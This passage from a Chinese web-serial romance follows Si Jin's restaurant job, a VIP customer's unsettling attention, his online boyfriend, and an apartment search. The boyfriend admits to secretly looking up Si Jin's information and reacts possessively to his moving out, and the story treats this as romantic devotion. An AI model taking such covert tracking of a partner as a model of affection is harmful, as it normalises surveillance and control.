“没有,我很遵守和宝宝的约定,不会自己跑过去的。”随便说着叹口气,有点难过似的,“我正在去公司的路上。” “真的吗?” 司谨莫名有点不敢相信他的话。 “宝宝要跟我视频吗?” 刚醒过来形象不佳,头发都是乱糟糟的,理智告诉司谨应该拒绝,但犹豫片刻却还是选择了答应。 “好。” 似乎早就等着他说这句话,随便切断了通话,很快便拨了视频过来。 屏幕上微微卡顿,接着便弹出了司谨的脸和小窗的风景。 司谨对着镜头整理了一下自己凌乱的头发,有点不好意思地抿着嘴唇笑了一下,点击屏幕把自己切换成了小屏,凑过去看随便的视频画面。 果然是在车上,随便将镜头对准了窗外,车水马龙的高架桥。 偶然一眼,画面扫到了他的西装裤,修长而富有力量感,衣服剪裁设计也很好。 一看就不像卖保险的。 司谨脑子里莫名飘过这个想法。 对面将镜头固定,随便的声音传了过来:“宝宝今天什么安排?” 司谨深夜就坐高铁回海城,今天还有一些著名的景点要逛,这会儿算着时间也不早了,便只跟他说了一个位置。 “挺有意思的,里面有一家甜品很好吃,我发给宝宝。” 手机叮咚一声,司谨答应说好。 “早点应该快送上来了,宝宝去洗漱吧。” “好。” 司谨知道差不多要挂断电话了,但是对面却没再说话,过去很久传来一声手指戳屏幕的声音。 镜头随之摇晃一下,他面露困惑:“你在干什么?” “想戳戳你的脸,把你从屏幕里揪出来。”随便的声音压低,说出口的话幼稚无比,可语气却十足认真。 司谨被他逗笑。 但是随便却忽然蔫了下来:“宝宝。” “嗯?” “你不生我的气吗?” 司谨微怔,也认真了点:“为什么要生气啊?” “没经过你允许,我就又查了你的信息,还给你换了房型,你不是最讨厌我这样了吗?”随便似乎是在自我检讨,可是还没温柔多久,又变了语气,“我真的忍不住,一想到宝宝离我很近就很激动,总是忍不住幻想宝宝是主动来见我的,想让宝宝住我订的房间,穿我买的衣服,就好像我们在一起一样。” 虽然早就习惯了随便这样的说话方式,可司谨听见还是觉得有点背后发凉。 “你这样说,就有点恐怖了。” 随便:“我知道,宝宝怕我,所以才不愿意跟我见面。” “我……”司谨也不知道该说什么。 想到有一天要见面,虽然心底是紧张更多,可恐惧多少也有一些。 从最开始的时候,随便发现账号下人不对就找出了宋晓西的私人信息,再到起初强势的相处,这些虽然已经被他们熟悉后的这几个月冲淡,可多少还是给他留下了心理阴影的。 他虽然没有谈过恋爱,可是也知道热恋期和平时是不一样的。 随便现在喜欢他,所以对他很好,但如果见面以后对他很失望呢?随便给予他的温柔和热情太多了,他已经习惯了什么事情都和随便分享,根本没办法想象对方冷淡下来的模样。 他很害怕。 “我不想瞒着宝宝,如果见面的话我肯定会装作很温柔大度,让宝宝高兴舒服,可是我背地里就是一个很阴暗的人。” 随便越说越难过,好像觉得自己无药可救。 “平时宝宝肯定会说我,可是今天连问都没有问,是不是已经对我失望了?给我扣分的话不要憋在心里,让我知道好不好?我不想把分扣完。” 司谨不知所措:“扣什么分啊?我没有失望。” “宝宝之前说只是跟我试一试,肯定会参考我最近的表现,我不想转不了正。” 从来没有人在司谨面前表现出这样的不安,也没人将他的喜欢看得这么重要过。 他望着手机屏幕上有些抖的画面,心脏忽然漏跳一拍。 对于身边的很多人来说,他都可有可无,就像是他从前远离谢宇珩后,对方不屑一顾,在大多数时候都没有人把他看得很重要,可是随便不一样。 知道这样不对,可他还是控制不住心跳的加速。 “我没有觉得你表现不好,你一直都很好啊。”司谨握着手机,短短一句话说的磕磕巴巴,“我不太会说这些话,但是……你对我也很重要,真的。” “宝宝。”随便的呼吸忽然重了,半天叹了口气,“你能这样说,我好高兴。” 司谨听出他语气中的笑意,耳廓又发起了烫。 “好了,我去起床,等晚上回家了再聊。” 他现在可以确定,随便真的不会来见自己,心情轻快了不少。 “好,宝宝要注意安全,我等你。” 电话被挂断,外头的门铃正好响起,司谨穿着拖鞋出去开门,就看见穿着制服的酒店管家冲他微笑颔首,后面的服务生推着餐车。 洗漱完催促陈军和曾平安起床,司谨去镜子前面整理头发,发觉很久没有剪头,现在头发长了不少。 过长的些许刘海扫在睫毛上,显得脸更小,还有点遮挡视野。 要不等回了海城,去弄一个新的造型吧。 曾平安跑出来看见这么一打桌子菜,又娴熟支起来自己的手机,大喊这趟算是来值了。 “加上昨晚的素材,正好能拍个测评总统套房,我也算是升咖了。” 陈军嫌弃看他一眼,端着自己的盘子退出了镜头。 吃过早餐三人一起下楼,司谨还和他们讨论着过去的方式,大堂经理便上前来拦住他们,提出用酒店的商务车送他们去景点。 “还有这服务呢。”曾平安和陈军对视一眼,“该不会还能接我们回来吧?” “这辆车今天全程为几位服务。” 得到肯定的答复,三人毫不犹豫上车,曾平安在前座调整自己镜头角度,忍不住夸赞这套房买的值。 “我以为就接送机呢,还能带着出去玩。” 没了赶路的顾忌,他们将景点逛了个遍,晚上吃过饭司谨回到酒店休息片刻去机场,曾平安和陈军也准备回学校了。 在门口同他们告别,目送车离开,司谨才转身进了大堂。 电梯中正好走出几道身影,他无意间扫了一眼,和被几人围在中间的女人对上了目光。 女人身材高挑,浅色的羊绒大衣搭在肩上,走路时微微抬着下颚,周身自信矜贵的气质十分吸引人。 不由愣怔两秒,司谨察觉到那人的目光落在他身上良久。 顿住脚步,他在进电梯前下意识回头看了一眼,总觉得那人狭长的眼眸看起来有几分熟悉,和记忆力燕绥安冷淡的模样重合在一起。 长得却是有点像,难怪他感觉眼熟。 他没记错的话,燕绥安似乎……是有个姐姐的- 回到海城已经接近凌晨了,司谨在酒店和车上都睡了一会儿,所以等抵达星云城也没觉得很困。 原本准备在楼下吃点什么,但这个点人正多着,他索性先回去,思考着自己煮一份饺子吃。 摁下密码进门的瞬间,屋子里却传出一股馥郁的浓香。 是鸡汤。 司谨微怔,看见餐厅亮着灯,厨房的方向还有做饭的动静。 他第一反应就是封阿姨又来了,可换了鞋绕进去,却只看见燕绥安腰间系着围裙,正背对着他站在灶前煎蛋。 边上还放着一只大砂锅,打开一半,里头的鸡汤浓郁,味道很香,勾得他肚子叫了两声。 “回来了?”燕绥安转头看见他。 “嗯。”司谨有点不好意思,搓了搓从外面回来还发凉的手指,“你做宵夜吗?” 燕绥安点了头,苦恼似的:“准备弄鸡丝汤面,面下多了,你饿吗?我们一人一半好了,不然浪费。” “可以吗?”司谨有些惊喜,下意识露出个笑来,又怕燕绥安觉得他太馋了,连忙将东西放掉。 “我去洗个碗。” “嗯。” 司谨抱着碗出来,看见面还没煮好,自己也帮不上什么忙,便在燕绥安的催促下拿着衣服去了浴室洗漱。 洗过澡浑身终于暖了起来,他披上一件外套出去,看见餐桌上已经放了两晚盖着煎蛋的鸡丝面。 “只有挂面,凑合一下。”燕绥安收拾完锅具将围裙解了,在他对面坐下。 “很香。”司谨用筷子挑起几根面尝了尝,眼睛亮了,很捧场地冲他点点头,“很好吃,你的厨艺真好。” 他之前还以为燕绥安是不会做饭的。 “前段时间学的。”燕绥安难得多说了几句,“以后我还会学更多。” 虽然不太明白他为什么要和自己说这个,但司谨还是点头赞同。 鸡汤的味道很浓郁,司谨吃过面将汤也喝了个干净,浑身暖呼呼的,难得的幸福感。 “我来洗碗吧。” 燕绥安不在意:“不用,去休息吧。” 司谨有些感动,冲他道了谢回到房间,简单收拾了自己的行李,准备好明天工作要带的东西,便上了床给随便发消息。 消息还停留在他下高铁和抵达小区时报备的行程,十分钟前随便才回复。 【好的宝宝,早一点休息】 猜到今晚应该也打不成电话了,司谨跟他道了晚安便关灯休息。 餐厅的动静半天才消失,燕绥安洗过手大步走回房间,经过隔壁房间时垂眸扫了眼门缝,发现已经没有光亮,回房间的脚步又变慢,不那么着急了- 回到海城的一周,旅游剩下的余温已经完全被冲淡,司谨的生活重新变得安静寻常。 但他能够感觉出来,最近随便的心情变得很亢奋,几乎是数着时间过。 眼看着一个月就这么迅速过去了一周,司谨莫名被他感染了紧张和激动,可他现在也说不准自己到底想不想了。 他会忍不住幻想随便的样子,猜想他们见面的时候随便会和他说什么,他们是不是真的会去中心湖划船。 这么想着,心情就难以平静,下意识又要去看一个月以后的天气。 “小司。”耳麦中传出程姐的声音,“楼上的大包有点忙不过来,你去帮一下。” 司谨回过神来:“好的。” 楼上的客人很多,因为是家庭聚会的缘故,需要照顾的小孩有好几个,刘有意和小李在上面忙得不可开交,连传菜的时间都没有。 看见小孩们都吃得差不多,司谨主动介绍餐厅三层的儿童乐园,顺利将几个小家伙都带走了。 “你说他们得吃多久啊?”小李跟他在一起照看孩子,盯着在海洋球池里打滚的团子,忍不住打了个哈欠。 “不知道。”司谨倒是觉得看小孩比站在下面舒服多了,至少还能坐着。 小李看了一会儿就觉得没劲,拿出手机开始玩。 “你多看着点,我去一趟洗手间。”司谨嘱咐他。 “好,知道了。” 司谨有些不放心他,匆匆去了洗手间,出来的时候洗过手正要回去,却看见走廊边上的一扇门没关紧。 三楼只有三个很小的包厢,再往尽头是工作区,所以平时几乎没有客人在这里。 他拿不准今天有没有人,思考着去将门给关上,刚走到门口就听见里头传出了声音。 “你不能这样!之前我们说好的——” 男人哭着的声音戛然而止,司谨的心一颤,还没弄清楚是怎么回事,便听见一道冰冷的声线传出。 “很早之前我就说过条件,现在一个月了,你也没有达到我的要求。” “我会努力的,顾先生。” “……” 司谨越听越不对劲,正想转身离开,里头却传来沉闷急促的脚步声。 下一秒门被拉开,他和i正要出来的男人正好撞见。 后背窜起一阵凉意,司谨连忙道歉:“不好意思先生,我看见你们的门没关。” 他原以为会迎接客人的勃然大怒,可那人重重叹了口气,随之却轻笑了一声。 “没关系,你是小司吧?” 司谨愣怔抬头,看见了那张儒雅温柔的脸,是之前在楼下大厅点歌的先生。 “没关系,教训员工而已。”男人将身后的门关上,有些可惜地叹了口气,“工作能力不行,被辞退也正常,你说呢?” 司谨不知道该说什么,只能配合着点了点头。 “您用好餐了吗?” “嗯,准备回去工作。”男人顿了顿,“我姓顾,顾延河。” “好的,顾先生。”司谨心跳还有些快,总觉得他现在说话柔和的模样和方才包厢里的冷厉全然不同。 顾延河被他送到电梯正要走,又想到什么回过头。 “我明天要请朋友吃饭,麻烦你帮我登记预留一个二楼的中包。” “好的。”司谨知道他是一粟的黑金VIP,虽然不明白他为什么不去前台说,但还是听话记下了。 等人走了,司谨看了眼没人的长廊,脑海中又浮现出方才门关上以后,包间里传出的低低泣声。 失去工作的确是一件让人崩溃的事情。 还没等他多想,紧闭的房间门被砰一声打开,青年红着眼睛从里面出来,身上的衣服乱糟糟的,看见司谨以后怔了怔。 “客人慢走。”司谨心里打鼓,连忙低下头去。 青年什么也没说,直接走楼梯离开。 这件事情让司谨觉得好像哪不对,晚上挂着电话和随便聊天,无意间就说起来。 “他看起来真的好可怜,眼睛都哭红了,但是顾先生跟他讲话语气特别凶,不过还好他们是在三楼的包间,服务生上完菜就都走了,如果是在二楼的话,估计刘有意他们又要讨论这件事。” 他说完,随便沉默片刻,忽然啧一声。 “宝宝,你有没有想过他们可能不是上下级?” “嗯?”司谨不解。 “我听这话里的意思,更像是分手呢。” 司谨皱皱眉头:“不会吧?” 顾延河看起来就是那种事业有成的老板,之前彭露她们讨论,不知道从哪打听到顾延河离过一次婚,不过没有孩子。 随便听完嗤一声:“这种人多了去了,我猜今天那个所谓的下属就是他的小情人,宝宝可得离他远点。” “你不要乱猜。”司谨被他说得也有点儿发毛。 “宝宝居然不相信我的感觉。”随便语气变得凶巴巴,“反正不要搭理他,这种三十多岁的老男人,最喜欢你这种刚毕业的水嫩小年轻了。” 司谨觉得他的形容词有点好笑:“你说的好夸张。” “听我的。”随便隐隐担忧,“反正就是不许跟他有私底下的接触,这人绝对是个变态。” “好,我知道了。”司谨无奈答应。 第30章 次日餐厅,顾延河带着朋友抵达以后便点名让司谨服务,司谨也保持着礼貌和距离,没有和顾延河多聊。 上了菜按照规定站在包间门边上,随时等着加菜和帮忙倒酒布菜,顾延河和朋友喝了几杯,忽然想到了他,抬起头来。 “小司。” “您有什么需要?”司谨走到他身边,俯身轻声询问。 顾延河却示意他坐在自己身后的椅子上,“你站在那不累吗?我们的菜上差不多了,你也坐吧。” 桌上其他几人闻言,看向司谨的眼神变得意味不明,但也紧跟着笑着招呼他。 “坐吧,反正也没人盯着,要是领导骂你,我们帮你说话就是。” 司谨对上他们玩味的笑容,在温暖的包间中感觉后背直发汗。 “我不累的。”他下意识看向顾延河,“顾先生,我……” 谁知顾延河将手搭在他肩上,动作轻缓却不容抗拒地将他按在了座位上。 “好了,你站在那我们也不自在,坐在这玩手机也行。” 说完,他没再看司谨,回过头继续和朋友聊起了还没结束的话题。 司谨自然是不敢玩手机的,只能听着他们说话,没多久就走了神,好在很快包间外头有人敲了敲门,他便顺势起身,开门去帮忙上菜了。 只是等他昨晚这些,顾延河又朝着他看过来,拍了拍身边的位置,意思很明显。 司谨没办法,只能在位置上坐下,一直等到他们吃完才起身,“麻烦您稍等,我先下去取账单。” 顾延河在他肩上拍了拍,柔声道:“去吧,还是从我卡上刷。” “好的。” 出了包厢,司谨长舒一口气,去楼下找彭露要账单和发票,看了眼时间又在外头待了一会。 “怎么不着急上去?”彭露给他处理完,有些好奇。 平时其他店员要是累了,也会借口在前台忙顺便休息会,偶尔程姐看见会训斥他们,但司谨很少这么做,他本身就是兼职来的时间不多,再偷懒会有负罪感。 “楼上太闹了。”司谨随便找了个借口。 彭露怜惜地看了他一眼:“等你下班,姐姐给你弄杯咖啡,要喝什么?” 司谨犹豫片刻:“榛果拿铁吧,多加一份糖。” “知道了。”彭露噗嗤笑出声,“你喝咖啡的甜度快赶上奶茶了。” “我不喜欢吃苦的东西。”司谨有点不好意思,解释一句。 “挺好的,生活甜蜜蜜。”彭露打了个哈欠,趁着没人找出手机扫了一眼,看见群里的兼职列表露出惊讶的表情,“你今晚加班吗?” 司谨都差点忘记和她说这件事了。 “对,这个周末正好没事干,程姐说今晚包间都被定完了,周末外送单子多,我下午去买点东西,吃过晚饭会再过来。” 彭露发出一声惊呼:“太好了!那咱们下班岂不是可以一起去玩?” “你是想累死我呀。”司谨佩服她每天都这么高能量。 彭露哈哈大笑,正巧有客人进门,她便也没再聊。 “行,晚上见,一会儿来拿咖啡。” “好。” 司谨回了楼上,将账单给了顾延河,几人吃得差不多也起身准备离开了。 “辛苦了。”顾延河照例给司谨打赏了小费,只不过这次是直接给了现钞。 “谢谢您。” 司谨双手接过,露出了一抹衷心的笑容。 顾延河眸中闪过几分调侃:“刚才吃饭的时候一直不高兴,这会儿可算是笑了。” 司谨不好意思道:“没有的,为您服务很荣幸。” 顾延河的朋友都走在前面,他送几人下楼,顾延河走在他身边,闻言却只是笑笑。 “可惜明天要开始工作,咱们只能下周再见了。” 不明白他说这句话的用意,司谨只道:“您忙碌之中多注意休息,有需要的话可以点外送。” “知道,可惜你不是一粟的正式员工,否则每天都能见到你。” 顾延河这句话让司谨察觉到明显的不对,可他刚抬起头看过去,便已经到了门口。 “外面冷,别送了。” “好的,几位慢走,欢迎下次光临。” 司谨目送他们出门,被外头的冷风刮得背后泛起凉意,等回到了温暖的餐厅才舒口气。 楼上已经在收拾东西,司谨习惯性进去查看,却听见收拾卫生的服务生发出一声惊呼:“那位客人好像落东西了。” 司谨微怔,过去看见是桌上落了只皮夹,看起来就价值不菲。 “我去打电话。” 拿着东西到了楼下,他找到彭露询问,彭露当即找出了顾延河留在这里的会员信息,拨打了上面记录的手机号。 对面很快便接通了,背景声很安静,明显是在车上。 “喂?”顾延河温润低沉的嗓声传来,宛若玉珠落盘,敲得人止不住心颤。 司谨有些紧张:“顾先生,刚才服务生检查包间,发现桌上落了一只皮夹,需要现在给您送过去吗?” 顾延河听见是他,忽然笑了笑:“是我的,没关系,先寄存在你们餐厅,下次我过来拿。” “好的。”司谨松口气,“那就不打扰您了,如果您之后在酒店的话,我们可以为您送过去。” 顾延河答应下来,并没有多说什么。 挂断电话,在边上偷听许久的彭露眸光发亮。 “顾先生的声音可真好听啊。” 司谨无奈:“早知道刚才让你打了。” “那还是算了,跟这种人讲话我心里紧张。”彭露摆摆手,转身把那个皮夹锁紧了专属的柜子里。 午餐时间过去,餐厅里客人逐渐少了。 到了下班时间,司谨换了衣服拿上彭露给的咖啡离开,找了个图书馆待着,顺便在网上和租房中介咨询房源。 二姐前两天打电话来说下个月就要来海城,和他说了工作的地点,麻烦他帮忙找个合适的房子。 只是搜罗了一下午,他还是没有看见合适的。 二姐刚开始工作,工资不太高,如果房租太贵会很有压力,他对那一片地方不是很熟悉,思来想去只好去求助宋晓西。 这个点宋晓西才刚睡醒,看见消息就给他回了语音。 “行啊包在我身上,我对那片最熟悉了,今晚去找我们店那几个问一下,应该会有合适的房源。”宋晓西的声音里还含着疲惫,“我跟你说,这种实惠的通常都不在软件里挂着,我指定给美姐找个合适的房子。” 大学时候司淑美是来找过司谨的,那时候还是宋晓西给她引的路,宋晓西知道司谨家里的情况,对这家里人没什么好感,但瞧见司淑美自己出来打工还穿着朴素,临走前却给司谨塞了三千块钱,当时就对她改变了看法。 司谨心底一暖,给宋晓西发了句谢谢。 宋晓西的语音又发了过来:“要说给司鹏找,我肯定让他睡桥洞,但你姐人是真不错,反正肯定靠谱,我今晚问了明天早上下了班就去看房,回头给你发视频。” 司谨回了个期待表情,放下手机后松了口气。 当初二姐受不了待在家,高中就辍学出去打工赚钱,司志义和李美花屡屡找她要钱,二姐也只是用微薄的好处吊着他们,反而是对司谨更加上心,时间久了她攒了钱决定学一门技术,司志义和李美花却没了声,说好的支持也只是挂在口头上。 回头要是知道了二姐要来海城,肯定又要去闹一顿,所以房子得快点找好,至少不能让二姐来了海城还没地方住。 如果他一个人住的话,还能够暂时让二姐住在他那里,但是合租的话总归是不方便的。 退出了租房平台,访心的新消息正好弹了出来。 随便:【宝宝,房子找得怎么样了?】 北极生活的小熊猫:【朋友说帮我找合适的,应该明天就可以选出来】 随便:【好吧,今晚可以跟宝宝视频吗?想你了】 司谨不禁心虚,将今晚加班的事情和他说了。 果然,随便又有意见。 【平时工作就很累了,兼职还要加班?宝宝最近是有什么压力吗?】 【可以跟我说】 平时司谨大事小事都会和他分享,但就是关于钱的事情不敢和他说,指不定随便听完一回头就要给他转账发钱。 所以他几乎没怎么思考,就回复没什么事情发生。 【只是本来也没什么事情可以做,增加三个小时的兼职还能多赚一点】 随便:【你觉得我会信吗?】 司谨咬咬嘴唇,有点儿无力。 其实真的什么也没有发生,只是他现在越来越觉得赚钱不易,想要趁着自己有精力多努力一点。 可是这些话随便似乎不太能够体会,毕竟他们的生活条件完全不同。 等他说了,随便估计又会回复给他买这买那。 【真的是这样】 消息回出去,他自己都觉得尴尬。 随便:【不信】 司谨没办法,只能随便找了一个借口。 【过年的时候,我父母和我大姐都希望我能回老家去找一份工作,我在想如果不好好工作赚钱的话,可能就真的要听他们的话了】 随便的头像泛起了波澜水纹,消息立马弹出来:【为什么要回去?姐姐不是都来海城了吗?宝宝准备回老家发展?】 一连串问题弹出来,让司谨有种他根本没有认真看自己消息的错觉。 他想了想了想,只回复了最关键的一条。 【没有想回去】 随便不说话了,只有头像的在线水纹还泛着微微光芒。 司谨也不知道该回复什么,时间已经不早了,他起身准备回一粟工作,走在路上就收到了封阿姨的消息。 封阿姨:【小司在忙吗?最近海城的温度回升了,过段时间又会下雨,你要多注意保暖,别感冒了】 司谨猜到封阿姨可能有什么事情要问,便简单回复几句。 果然,聊了还没几句,封阿姨便说出了目的。 【绥安这几天消息也不回打电话也不接,是特别忙吗?】 司谨想到他每天下了班都能在家看见燕绥安,一时不知道该说什么,正犹豫着怎么回复,封阿姨却像是等不及了,直接拨通他的电话。 正好戴着耳机,他虽然无奈,但也接通了。 “阿姨。” “诶。”封冉悦含着笑,也有些歉意,“小谨,打扰你真是不好意思,但我实在是担心他。” “没关系的。”司谨斟酌一下回答她,“燕绥安最近好像是挺忙的,在家里都没怎么跟他遇见过。” 封冉悦听后叹了口气:“也不会忙到回复一条消息的时间都没有吧,我知道……他可能又在闹脾气,因为我上次私自去你们房子里做饭的事情不高兴。” 司谨听见她难过的声音,也有些不好受,想到之前燕绥安给自己按摩的事情,连忙安慰。 “阿姨,他前段时间还在学按摩呢,说您总是肩膀疼,等着回家给您按一按。” “咦?” 手机对面,此时正躺在花园摇椅上晒太阳的封冉悦满心都是困惑,她向来爱运动,每天都去跑步练瑜伽,身体挺好的。 可她也知道司谨不会随便骗自己,脑子里瞬间想到了什么。 “哎呀,他该不会是为了他女朋友学的吧?” 司谨走在路上,听见耳机里头忽然变大的声音,脚步颤了颤。 “也有可能。” “唉,这臭小子,还拿我当借口。”封冉悦的语气里也听不出失望,反而是多了点笑意,“既然是在追对象,那也没什么好说的了。” 追?所以燕绥安最近是在追求人吗?难怪最近总在家学做菜。 “打扰你了小谨,有空来家里玩吧,我们绥安身边的朋友也不多,你们好好相处,回头阿姨亲自下厨给你们做饭吃。” 司谨没敢多说什么,只好答应:“阿姨,我要去兼职了,咱们下次再聊。” “好,回去路上注意安全。”封阿姨的声音温柔。 挂断电话,司谨将耳机摘下来放回口袋里,忍不住吐出一口气。 他现在好像终于理解燕绥安为什么说封阿姨关心过度了,这么被盯着的感觉的确有些窒息,难怪燕绥安会想要离开京市,跑到海城来发展- 晚上的一粟要比中午更忙,外送一个接着一个,司谨忙得脚不沾地,一直等到高峰期结束才回到店里休息。 不过还没多久,便又来了两份外送订单。 “这个简单,是对面酒店的,1108和2411各一份,不要弄错了。” 司谨点点头,无意间瞟到一份单的尾号熟悉,便问:“这是顾先生的房号吗?他中午落了皮夹在店里。” 程姐也忙昏了头,被他一提醒才想起来:“对,你顺便给他送过去。” 司谨装上皮夹出门,先去了楼层更低的位置,心里祈祷着客人不要太难照顾,最好能够送到就让他走。 可等门一开,看见房间里的人正拿着手机对着他,心底就大呼不好。 一粟外送主打的就是外送服务生外形佳礼仪好,所以很多客人都会抱着新奇的态度点一单,顺便拍个视频发在网上。 司谨不敢懈怠,按照规定进门替他们按照规定的模式布置餐桌,倒酒布菜。 好在做完这套流程他们便结束了拍摄,临走前还特意给他打赏了小费。 忙不迭去了楼上,门敲响以后半天没人开,正当司谨好奇时,门忽然打开另一条缝。 “干嘛的?”不属于顾延河的一道年轻男声传出来。 司谨后退半步,说明了来意。 “这里不用服务,你把餐给我就行。” 男人似乎松了口气,将门打开,露出只披着松垮浴袍的身体,他皮肤白皙,穿着一件酒红色的真丝浴袍,像是刚洗过澡,脸和手上都蒸腾着热气。 司谨松口气,双手将餐递上:“祝您用餐愉快。” 男人伸手接过,关门时房间里头传出声音。 “谁?” “送餐的。” 今晚就没遇见过要求这么简单的客人,司谨看着门关上才起身,听出最后的那道声音属于顾延河,毕竟他的声音很有辨识度。 心情正轻快着,摸口袋里的手机想看时间,却摸到了一个硬邦邦的东西。 脚步瞬间顿住,他这才想起来顾延河的皮包还没有送回去,连忙转身回去。 走到门前抬手正要敲,却听面前厚重的门发出砰的一声。 他下意识怔住,举在空中的手不知该落在哪里。 这是怎么了? 正犹豫着,里头又传出沉闷的声响,就好像有什么东西正在往门上撞。 司谨眼睛微微睁大,回想起方才青年的模样,忽然间好像意识到了什么,不敢再停留这里,快步离开了。 酒店里温度本就高,直到下了楼,他脸上的热度还没消退。 该不会真的是他想的那样吧? 回到一粟,时间太晚店里已经没什么客人了,其他人正在收拾卫生。 “怎么样?送回去没有?”彭露看见他回来,连忙问。 司谨满脸纠结,还是把皮夹从口袋拿出来了。 “我忘记给了。” “啊?”彭露震惊,“顾先生也没找你要吗?” “有钱人真好啊,这么贵的东西都不当回事。”边上有人忍不住感叹。 司谨不知道该怎么说:“开门的不是他,本来我想再送回去的,但是……时间有点晚了。” 他找了个拙劣的借口。 其他人都没在意,彭露却是猜到了什么,压低声音喊:“不方便送回去?” 司谨看出她眼中的激动,脸颊微妙红了,却还是面无表情:“就是觉得太晚了,送回去会打扰到客人,所以还是等下次吧,反正他就住在对面。” 彭露冲他挤挤眼:“男的女的?” “没看清。”司谨好半天憋出一句。 彭露压根不信,上下扫他两眼,说:“男的吧。” “……” 司谨:“你都知道了还问我。” 彭露嘻嘻笑:“我看你反应猜出来的,就属你脸皮最薄,是不是没见过这种?” “不是。”司谨不知道怎么说,最后只能自顾自去了休息间。 彭露在后头哈哈大笑。 等回到家里,司谨潦草洗漱完接了随便打来的电话,忍不住把今天看见的跟他分享。 对他来说,和熟悉的人讲总觉得很奇怪,背后偷偷讨论别人的事情太心虚,但是随便不认识顾延河,所以倾诉一下也没什么关系。 把过程简略说完,他长叹口气:“原本我还准备敲门的,一听那声音就不敢了。” 随便噗嗤一声笑了:“宝宝,我就说他不是什么好人吧。” 司谨怀疑他在借题发挥:“谈恋爱就不是好人吗?” 随便被他噎了一下,说:“整天换人,看着就不像正经谈恋爱。” “这是别人的私事。”司谨想了想,“反正他是个很讲理的客人。” “是吗?他这么好?”随便又变得阴阳怪气起来。 司谨早习惯他这样,毫不犹豫道:“没有你好。” “……” 随便轻咳一声:“那当然。” 司谨觉得他挺可爱的,这会儿正好收到了宋晓西发来的房源消息,便点开查看。 “宝宝在干嘛?” “嗯,我朋友发了房子的图片,我正在看。” 司谨将图片放大,发现其中还有两居室,价格也很实惠。 “怎么样?”随便似乎很无聊,“我可以帮宝宝参考一下。” 司谨立马拒绝:“我已经看完了。” 随便发出一声长叹:“我是被嫌弃了吗?” 他经常说这种话,换做平时司谨会耐心哄他,但这会儿却没有说话。 等了半天没等到想要的话,随便有点不高兴:“宝宝?” “我在。” 司谨随口说完,抬手回复宋晓西的消息。 听见动静,随便问:“看见合适的了?” “嗯。”司谨的语气里是掩盖不住的惊喜,“晓西正好找到了一个地方,距离我和二姐的工作位置都很近。” 随便安静两秒,忽然大声问:“你该不会要跟姐姐一起住吧?” 他的反应有点大,司谨下意识觉得他是在吃飞醋,无奈道:“不是住在一个屋,是同一栋楼正好有两个房间在出租,还是单间,虽然有点小,但是都有厨房和小阳台。” 而且价格要比他现在住的地方便宜多了。 宋晓西:【这个是一周后退租的,位置还不错,就是房子有点老了而且楼层高要爬楼梯,不过白天能照到太阳,感觉很适合你啊,你不是也想另外找一个地方吗?】 司谨将两间房的图片放大,觉得哪里都很好,问过价格以后有些心动起来。 他现在的地方签了半年的合同,现在已经住了快四个月,时间也差不多了,回头如果提前退租,先帮忙找好租客应该不会太难退。 这么想着,他就有些激动了。 “宝宝……” “怎么啦?”司谨回过神,小声和他分享喜悦,“这个地方真的很好诶,就隔了两层楼。” 二姐没来过海城,先前聊起要来时虽然没有多说什么,可司谨却感受到了她的紧张和不安,如果他们可以住近一些平时也有照应,而且那里的租金便宜,位置距离地铁站更近,他的通勤时间也能缩短些。 “你现在住的地方不好吗?为什么要搬家?”随便声音沉闷。 司谨犹豫片刻,说:“这里挺好的,可是租金有点高,我一直都想找个更便宜的房子,而且那边还是单间。” 在陌生的城市里可以和信任的家人住在一起,是很难得也很幸福的事情。 随便却好像没有明白他的意思,沉声问:“你不想和别人住在一起吗?室友人不好?” 司谨下意识摇头,想到他看不见,才说:“说不上好不好,但是一个人住总归是更自在的,麻烦也要少很多。” “麻烦?”随便重复了一遍,语气有些阴沉。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-35 第31章 “你怎么了?”司谨觉得他好像哪里不对。 随便闷声道:“没事,只是觉得宝宝这样搬家太辛苦了。” “没关系,我的东西也不是很多。” 司谨扭头扫了一眼空荡的房间,心底很平静。 他从来不敢往住的房子里添置东西,也是因为担心搬家的时候过于狼狈,毕竟都只是暂时栖身的地方,指不定哪天就要搬走。 随便咬咬牙,又问:“你的室友真的那么讨厌吗?” 司谨心脏咯噔一下,有些无奈:“我没有讨厌他,本来就只是陌生人,相处不来很正常的。” 他又没有打算要和燕绥安做朋友,燕绥安估计也只是把他当成一个普通的合租室友,换一个人来也没有什么区别。 只是封阿姨又要担心了。 司谨算着时间,思忖片刻还是决定等宋晓西明天去帮他看了房子以后再做决定,毕竟他现在租的房子还没到时间,之后如果要提前退租的话,说不定会要和房东掰扯一段时间。 他最不擅长这件事,宋晓西知道他的顾虑,便也主动承担起了这项任务。 【放心吧,回头都我来说,你自己做好决定就行,如果非要扣押金的话,我先把这边租下来,然后短租给朋友也行,反正总会有办法的】 司谨这晚上思绪很混乱,好在有人帮自己整理好。 道过谢,他关上了聊天界面,看见弹窗上面还挂着访心的通话,才发现随便已经很久没有说过话了。 下意识拿起手机贴近耳朵,他听见很轻微的呼吸声,对面很安静。 “你在忙吗?” “没有。”随便回答,“你确定好房子了吗?” “要等朋友明天帮我看完再做决定,我先把照片发给我姐姐了。”司谨觉得他好像不太对劲,先前那个被他强行按下去的猜想又莫名其妙回到了脑海中。 “好吧,我今天其实有点累。”随便忽然叹了口气。 司谨:“工作太辛苦了吗,那你要不要早点休息?” “嗯,我想和宝宝挂着电话。”随便语气委屈,一下子又恢复到了平时的状态。 “好。” 司谨现在已经很习惯做这件事情了,所以也没有多犹豫,将台灯关上,便将手机放在了枕头边上。 房间里拉着窗帘,隐隐约约还是能透出外头的光亮,不过并不刺眼。 安静的环境下,他微微闭上眼睛,听着手机里面传出来的浅淡呼吸声,莫名其妙又想起来了燕绥安。 他知道燕绥安是一个怕麻烦的人,之前就问过他是不是要在这里长住,刚来时他点头答应了,现在却又要搬走,按照他的脾气肯定会不高兴。 只希望之后能够顺利退租,虽然他现在对燕绥安已经没有那么大的偏见了,可他不得不承认,和燕绥安住在一起的确也很让他苦恼。 有时候看见燕绥安的家人,他心底止不住羡慕,本来就不是一个世界的人,住在一起也是不合适的。 缓缓闭上眼睛,在睡意袭来时迷迷糊糊和随便说了句晚安,还没有等到对面的回应,他便沉沉睡了过去。 只是很奇怪,这天晚上睡得并不安稳,他总觉得心里像是凝结着一团黑雾,沉沉压在他的身上,明明浑身都是寒意,可触碰时却是火热的温度。 